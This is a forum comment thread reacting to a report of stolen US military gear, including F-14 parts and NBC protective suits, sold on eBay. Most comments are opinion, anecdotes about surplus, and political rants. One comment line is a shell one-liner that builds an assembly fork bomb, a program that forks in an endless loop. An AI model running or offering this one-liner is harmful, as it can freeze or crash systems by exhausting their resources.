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Stolen US Military Equipment Being Sold On eBay
I Buy These From eBay points out a Washington Post story about how stolen military equipment has ended up on eBay and Craigslist. Undercover investigators reported being able to purchase defense-related items with "no questions asked." Let's hope the sellers don't get their hands on any retired rebellious robots. From the Post:
"Among the items purchased include two components from F-14 fighter jets, bought from separate buyers on eBay. The warplanes, now retired by the military, could easily be purchased and transferred to the Iranian military, which is seeking its components, the report said. Investigators couldn't determine where the sellers had obtained the F-14 parts. They also purchased from a Craigslist seller a used Nuclear Biological Chemical protective suit, other protective accessories as well as an unused chemical-biological canister, which contained the mask filter used to guard against warfare agents. The property was likely stolen from the Defense Department, the report said."
I believe they are available in kit form from Ikea in Teheran.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Wouldn't do them any good. Most of their 14's have been in storage, probably stored improperly. Even if they were able to get them to fly & fight, they would be shot out of the sky easily.
Ebay policy prohibits sale of stolen items and parts of a F-14 are obviously stolen if on Ebay. So, consequence one will be removal of the auction. Consequence two is, that now Ebay has the IP-Adresses of those people and they properly will give it to the military. They better used Tor or live in a country far far away.
This behavior is IMHO incredibly stupid. If you manage to steal such items, one would think that you also manage to sell them somewhere else than on Ebay.
When the same guy kept driving off with a different Humvee each day with F-14 parts stuffed down his pants.
If one could steal something like this, what else is available on the black market... a nuke!?
Seven Days with Ubuntu Unity
what other US mil weaponry do you think is being sold in the black market that doesn't even show a blip on the radar? Yeah, that's the stuff that should be keeping you all awake at night. With all the stockpiles of nuclear weaponry, you know something's going (or already) has gone missing/unaccounted for.
What's this called? (hint: fear mongering?) Why was the Iranian military mentioned in the article? Are Iranians the only ones out there that can possibly hurt the US? No, anyone can buy that stuff and damage other countries. The US isn't the only country on this planet. Please, for the sake of the future, stop acting like everyone is out to get you.
I'm sure that they could get the stolen parts back, don't Paypal have an excellent record for helping all sides in disputes?
Take Nobody's Word For It.
People have been selling military equipment from the US for years. Ever seen "Lord of War"? Not all of it was fiction you know. Probably the only surprise is that it was sold on ebay. And chances are that the military equipment wasn't stolen either. Many parts from scrapped vehicles are given or sold to boneyards to be sold again. Hell, the old motors from Vietnam's apache helicopters are actually in use on speedboats up to this day.
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The Register has their usual perspective-giving article up, for those of you who might be inclined to start screaming OMG TERRORISTS as the US Government no doubt wants you to.
The fact that stuff is been stolen from the military or the fact you can buy it all from Ebay of all places?
They got the F-14 from there Pepsi points but they where sent out part by part.
Copy a single song recorded in 1950 and not heard on the radio for decades so that you can practice it on your guitar? WIth these new laws being proposed, you could owe the publisher millions in fines and fees.
Sell stolen US F-14 parts for profit to anyone, so that you can buy some crack? Misdemeanor.
... with US security of military supplies.
Certainly this is more serious than any supposed terrorist country or terrorist group buying such property.
Play with matches and you will burn yourself.
"The property was likely stolen from the Defense Department, the report said."
Ok, probably the F-14 parts, but being ex-forces I myself have about 3 NBC suits and a box full of respirator canisters, amongst god knows what else, from clothes to tins, helmets, gortex. It's all just surplus you pick up during your time in. Half of it you can buy and any army surplus store/warehouse anyway.
Biomech
This is all FUD, I did a search on ebay and this is what I got:
;)
0 items found for: stolen military equipment
How do they expect us to believe an article if we can't verify the sources
How amazed would you be to suddenly find that you just forgot what I wrote and you needed to reread my post.... again.
Every soldier is issued an NBC suit (including mask and filters) and they are one of the first things to get lost on field deployments - not a major theft of some military secret equipment.
>>> To correct the problem, the Army started a program in 2006 to account for all of its inventories. To date the Army has accounted for more than 20,000 items worth more than $135 million, she said.
So they can account for 20000 items with 1,426,713 active members in the army ? Sounds like they can't even account for all their uniforms.
Turned out, the bordercontrol had arrested some guys who'd stolen some vehicles. Officially they weren't gone as they weren't reported missing.
Same with selling overstock; Every month a train came by bringing soldiers' cigarettes. They were picked up from the town and brought to base. At a certain point the soldier ordered to pick them up reported the shipment being picked up by "unknown" individuals. (so some Germans have been imposing as an army unit to pick up the shipment cigarettes). Since then my grandfather was put in charge for a new order, with the order to order 20% extra "just in case".
Instead of piling up the 20%, they devised a plan to sell it consistently through an external contractor and the profits where split. Until bordercontrol noticed an unusual high amount of soldiers going home for the weekend and they've searched some vehicles.
This is all post-WW erra with a bloathed army with paper reporting, but still. I can imagine there are still people trying to make a profit like this or the same logistic problems.
Oh yea, my grandfather went on trail for that and got away clean because they had to sign a statement they couldn't sell "their own" rations. He stated he didn't, he had sold overstock. After that he was put in charge of all logistics instead of his own regiment and the statement was adjusted.
I think we can keep recursing like this until someone returns 1
Obviously stolen? the F-14 has been scrapped. they're in junkyards here and abroad. entire decommissioned aircraft like the Harrier have been sold on eBay, perfectly legal. There's a hobbyist market for the parts for all manner of aircraft too. You can buy decommissioned howitzers, tanks, jets...parks and VFWs have them. And uniforms and MRE, anyone can buy those, perfectly legal.
Great F-14, kills infidels wonderfully. Allahu Ackbar! A++++++
One CPU cycle wasted on digital restrictions management is ONE TOO MANY.
It mentions a couple of "components" from F14's - what? Nut and bolts or complete avionics - there's a huge difference. I would expect that if it had been anything significant, they wouldn't named them - so my money is on a few small pieces of easily machined metal.
The article then makes the subtle leap from talking about buying these F14 spares to say "The warplanes, now retired by the military, could easily be purchased and transferred to the Iranian military, which is seeking its".
Pardon me, but nowhere are they claiming to have actually *bought* the planes. They just seem to be sowing FUD in the readers mind.
It's a pity these guys couldn't find any journalistic integrity for sale on eBay - or maybe that's where theirs went.
politicians are like babies' nappies: they should both be changed regularly and for the same reasons
I was in the army 15 years ago and the pawn shops around post were full of military equipment. Not just the stuff that soldiers are expected to buy for their job either. I remember soldiers who lost their NBC (nuclear/biological/chemical) mask would go buy one at a pawn shop so they would have something to turn in when they PCS (Permanent Change of Station). However, I do not remember seeing any F-14 parts...
Exactly. Thanks for adding some reason to the discussion.
Quote from the Slashdot story: "The warplanes, now retired by the military, could easily be purchased and transferred to the Iranian military, which is seeking its components, the report said."
Why does Iran want F-14 parts? I'm guessing that is because the war industry in the U.S. sold the Iranian government F-14s, with the permission and the aid of the U.S. government. Presumably that happened when the Shah was in control. The Shah was a U.S. government puppet, installed in 1953 after the U.S. government destroyed the administration of the democratically elected President Mohammed Mossadegh". That's right, those who control the U.S. government were against democracy, for violence, for interference in the operation of other countries, and they put profit above all other issues.
Also, Iran is not the threat that is being presented to U.S. citizens. Those who control the U.S. government are trying to demonize Iran the way they demonized Iraq. They want a war, and the entire reason they want a war with Iran is the same as the reason they wanted war with Iraq: to make more money. Those who control the U.S. government have a sickness about money. They will do anything to get more money, even lie and kill other people.
At the beginning of the first U.S. government-Iraq war, U.S. weapons companies were still delivering weapons to Iraq, under a long-term contract. Those who control the U.S. government and weapons companies want war, continous war.
The U.S. government is the biggest promoter of violence in the world. Don't say "we" when talking about war. There is no "we", unless you are part of the group that makes the profits, while stealing from U.S. taxpayers.
If you love your wife, and she is having a difficult time, you don't turn your back on her. You get involved and try to help. It's the same with your country. If you love the U.S. like I do, you will help stop the violence.
...checking up on F-14 parts, make sure all that Coltan is accounted for.
Priorities, people!
Heaps of guys in the hobby have built home sims using parts from real jets. F15s, F16s, A7Es etc. There *are* legitimate ways of getting hold of cockpit parts that aren't stolen. Since the F14 is no longer in service it would not be a stretch at all to find bits of a broken up one for sale. One guy got a whole F15 cockpit for his project. http://www.f15sim.com/index.html
He got it from the Olympia Air Museum. Prior to that it was PURCHASED from McChord AFB in Tacoma after being struck off the register. It was used for training battle damage repair.
Aircraft parts from wrecked, scraped airframes often legitimately come up for sale on Ebay, IMO this report / article is just a way to promote an agenda. Congress are probably planning some new bill defining everyone who possesses ex-military equipment a terrorist. I guess I'm a cynic.
Don't worry about it. The new owner of the used radiation protection suit probably won't have a chance to use it for very long.
Its been long known that some soldiers, etc. have been keeping guns and ammo for themselves including rifles and machine guns. In Canada a few years ago some soldiers robbed a bank and were armed to the teeth: C7s, handguns, flashbangs.
I wouldn't be surprised that high explosives and such are also stolen. I've gone to military bases before and you seriously don't want to mess with the military police. I don't even want to think what would happen - or who would go after you - if you stole F-14 parts or chem-bio suits with the special filters in the gas masks.
I certainly hope, that there's more of a crack down on stealing equipment. At the least, stealing guns and ammo poses a serious risk to the public at large.
They're scrapped, but they're not in junkyards. The government is specifically destroying them all rather than risk selling them off in any form, because the only buyer besides hobbyist collectors or museums is Iran.
http://sayanythingblog.com/entry/pentagon_spending_900000_to_destroy_f_14_tomcats/
It doesn't hurt to be nice.
Typically the DoD sells war items for scrap under a license that specifically forbids the buyer from selling on any item whole or in part as a usable piece of equipment. There was an ex Blue Angels F-18 that made it to Ebay because the DoD had disposed of it in an irregular manner (legitimately, just not the normal way they did it) and they didn't get the buyer to sign the agreement. The F-14s are heavily scrutinised precisely because Iran still has active aircraft - the DoD went so far as to have several museum pieces removed from display and disposed of because of lax security.
The DoD spokesjerk says the kit was "likely stolen". These guys have been misplacing shit for years, and they have the audacity to assume some junk sold on the internet is stolen?
I saw an documentary on the war in Iraq. One segment focused on a particular base where various units would be stationed temporarily before being moved on to somewhere else. Any material or equipment that they didn't want to take with them at the end of their stay just got dumped because they didn't want to do the paperwork to return it to the quartermaster. It all just ended up being a big pile of junk in the middle of the desert, and there are apparently dozens of these across Iraq. You expect me to believe that no one just picks that stuff up takes it home?
If the Defense Department wants to stop this stuff being sold online, they should stop misplacing it in the first place. They have no one but themselves to blame.
I'll take an M16, an M4, a Desert Eagle, and a NBC protective suit.
What's next? A virus "could" come about that wipes out humanity? A company "could" decide that it will destroy humanity for profit? This could happen and that could happen is not news. It's not even speculation. It's just fud.
Any guest worker system is indistinguishable from indentured servitude.
The story is just alarmist garbage making sound like people are scoring RPGs or artillery pieces in back alleys. The stuff is the same surplus gas-masks, boots and canteens you've been able to buy since Moses was a boy. The "F-14 parts" are dashboard lightbulbs and tire-valve caps. Oooh a MILSPEC 3876783-4786478-3478647 instrument cable! wow!
Working in the aerospace field has exposed me to tons of interesting surplus. I have an F-14 canopy, various B-57 parts, and a ton of clothing and tools. A friend of mine owns a P-51 fighter that he keeps hangared at our local airport. It replaces another fighter from his collection, one of the last surviving F4F Wildcats that he sold to a museum. There are tons of Aero Vodochody fighter trainers flying around the US. And if you've ever flown in a Cessna Citation, that's technically a dual use aircraft; some eastern European countries have retrofitted Citations with missile pylons. Heck, the Learjet 25 was *designed* to be a fighter.
If you count foreign military surplus, all of my firearms are military surplus, including Mosin-Nagant rifles, a Nagant revolver, a Romanian AK-47, and Sig Sauer and Tokarev pistols.
There's a good story about a rich guy who bought a MiG-23 from Poland (I think) and had it imported. It would have been totally legal except for one problem: when the aircraft was pulled off the flightline, it wasn't disarmed. In the shipping crate, were armed air-to-air missiles, the Russian equivalent of a Sidewinders, and in the nose section the gun was still loaded and armed. US Customs took exception to this and confiscated the aircraft. Shortly thereafter it was given to the Air Force and is now on display at Wright Patterson AFB.
So, bottom line, is there are legal ways to own all kinds of military equipment.
When you add the eBay and PayPal fees, it's actually cheaper to develop this stuff from scratch.
While you are partially correct, you left out some important information.
Buying an F-14 airframe has been something thats been possible for years. You will however, not find an air ready F-14. They get stripped of many things, like avionics and turbines.
Without the avionics, the F-14 won't fly. You can hack together a lot of things to make it somewhat flight ready, hell you may be able to even get it in the air if worked hard enough. But what you put in the air, would in no way be a fighter jet other than its look.
While the airframe is an extremely important part of the aircraft, obviously, it is not everything and most of our ability to kick ass in the air comes from avionics and pilots.
Coming up with skilled pilots is for an F-14 is not easy, but far from impossible. Coming up with compariable avionics that have been designed and refined to make the F-14 (when thinking of the Top Gun aircraft) what it is, thats another story. Its not like the first attempt to make the F-14 an evil killing machine was perfect, the systems were refined continually and upgraded over the years.
Good luck buying those components. If you can get your hands on them, you're not dumb enough to eBay them, there are far more profitable people who would want to get their hands on such items.
I can't remember who it was, I'm sure someone else can chime in with it, but there was a band which had one of its members buy a tank to drive in England, perfectly legal ( the purchase, not the driving down the streets part ). But its not like the thing would fire a shell.
Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
>, I'm sure someone else can chime in with it, but there was a band which had one of its members buy a tank to drive in England, perfectly legal
Youre probably thinking of Richard D. James of Aphex Twin. He doesnt own a proper tank. Its a Daimler Ferret Mark 3 armored scout car, which looks like a mini tank. He also bought a working russian submarine recently for 40,000 pounds.
Ex military hardware being sold - that's nothing new. On the outskirts of Peshawar in Pakistan, 50km away from Afghanistan, is the Smugglers Market, where you can buy a variety of USA Army "surplus" - training manuals, ration packs and various un-interesting hardware. As a foreigner this is all that I was able to find - I wasn't able to enter the section where they sold the weapons!
The Afghanis did a good job of getting Russian soldiers heroine addicted, likewise US soldiers, according to a lady friend of mine doing charitable work in Kabul. Just outside Bagram air base are many little shops where you can purchase a wide variety of US military gear.
The Saegheh is a modern derivative of the F-5. They have kept essentially the same basic airframe, moved the wings above the intakes and put on a twin tale. There are some aerodynamic changes, but claims about it being on par with the F/A-18 are pure hyperbole...unless they mean the first production block from 30 years ago. Building a modern aircraft that can fly is merely half the battle with a combat aircraft. The avionics, armament and pilot are the other parts of the equation.
Protest: Your recounting of the story left out the most important details.
..."
1) The CIA, a secret organization, acted in a hidden way to interfere with the political operation of a sovereign nation.
2) The hidden, sneaky U.S. government action had ONE purpose: To help private groups, oil companies, make more profit.
3) The Iranians elected President Mossadegh in a democratic manner, believing they had some control over the political future of their country. The U.S. government's secret departments destroyed their democracy, only to help private groups in the U.S. and the U.K. make more money.
4) The people of the U.S. believed that they had democratic control over the future of their country. However, the secret agencies of the U.S. government acted, and continue to act, in the interest of private groups, completely without the knowledge of, and against the wishes of, the people of the United States.
5) The people of Iranian paid heavily for the U.S. government's action. They had to live under a dictator that was often violent toward them, and who stole their money for himself.
6) The people of the U.S. paid heavily for the U.S. government's action. The U.S. government's violent actions toward Arabs and Muslims are the reason for the present violence. The CIA calls that "blowback". Blowback is viewed favorably inside the CIA, because if there are more negative consequences of U.S. government action, there is more money for the CIA and for promotions inside the CIA.
7) The hidden actions of the U.S. government in Iran were the beginning of a new, much larger level of corruption inside the U.S. government.
8) This behavior continued and continues intensely. See, for example, Coups Arranged or Backed by the USA.
You said, "... to remove a man contrary to our interests
Did YOU make money from the action? If you didn't, then don't use the word "our".
Cheney his cut please.
Iranians I've met in the United States, U.S. citizens living in the city where I live, agree that leaders of Iran are sometimes very de-centered. Nothing I have said is intended to indicate an acceptance of violence.
It helps understanding of the situation that officials of the U.S. government have publicly discussed bombing Iran. They view their threats as efforts to defend themselves.
Quote from a March 5, 2007 New Yorker article, The Redirection:
"Still, the Pentagon is continuing intensive planning for a possible bombing attack on Iran, a process that began last year, at the direction of the President. In recent months, the former intelligence official told me, a special planning group has been established in the offices of the Joint Chiefs of Staff, charged with creating a contingency bombing plan for Iran that can be implemented, upon orders from the President, within twenty-four hours."
I strongly suspect that
a) American front line aircraft have substantially better avionics than the F-14s sold to the Shah in the 1970's.
b) if the Iranians did have a spare parts problem for their aircraft, the advance of computers, avionics, CNC lathes etc would make it substantially easier to fabricate spare parts. The only problem, and I do accept it is a big one, would be getting any alloy composition right, but again I'm willing to bet chemical analysis is up to the job nowadays.
Iran in any case got a whole load of (Soviet) equipment flown in to them by the Iraqis at the end of Gulf War I. I get the impression the Iranian Air Force is now primarily Soviet based equipment, but potentially moving onto "home grown " kit soon.
Donte Alistair Anderson Roberts - hi son!
Karma: Chameleon
I can attest to that, the difficulty is in distinguishing the stolen part from the legitimate parts
I'm a federal geek providing technical support to the agency that sells this stuff.
Defense Reutilization and Marketing Service is the DoD agency that gets rid of damaged and excess military equipment. They sell all kindsa stuff to the general public. If you want to buy a whole pallet of old computers or uniforms or something they're the place to go.
That said, they also used to sell F-14 parts that had been through or didn't require demilitarization to the general public - but DRMS no longer sells F-14 parts. They quit doing it after the GAO caught some sensitive equipment being sold and DRMS is well aware of Iran's interest in F-14 hardware.
we see things not as as they are, but as we are.
-- anais nin
If anyone has seen any, I need them so I can reverse engineer them to retro-fit them to a SAM launcher we've built. First of it's kind, a civilian use SAM, or CUSAM (We call it "kuh-zam"). For use in shooting down spy drones that the US government is starting to use on us.
:D
Thanks.
Just send any info you have on missile guidance systems to my email manowar8211 -AT- yahoo -DOT- com!!
First of all, anyone that's been in the military was probably at one time or another issued a "used" NBC suit for training purposes. It's nothing more than an overgarment with a layer of activated charcoal in it. The canister is basically the same. In the 80's when I was in the Army you could come across these things a dime a dozen in any supply room and most of us had two of everything: One for the field and one for inspections. Field gear we kept tucked away either in a spare duffle or on our tank (I was an M1 driver in Germany back then). We had spare flack jackets, spare boots, spare lanterns, cases of MREs (I hear they're better now.) and if we could get spare tools we'd have them too. Since none of the "spare" stuff was ever on the books (it wasn't like our BII was issued with 2 of everything) whatever we had when we'd PCS would follow us to our next duty station, and eventually home. As for F14 parts, that's a bit scary, but if anyone's ever taken a look at Grassroots Motorsports, there's a corvette in there that actually uses an M1 engine cooling fan for a suction device to make the car stick to the track. I guess if you can buy surplus M1 parts you can get F14 parts somewhere too.
To avoid corruption, one must remain dishonest.
I've seen a pic...for his no-tech hacking speech at Defcon last year Johnny Long had a slide with an F-14 sittin in a junkyard. If he can figure this out, why can't investigators?
that makes good press but the truth is pentagon has already sold thousands of F-14 parts publically and legally: http://www.usatoday.com/news/washington/2007-08-01-f14parts_N.htm
we sold Iran their F-14's too
what's the point?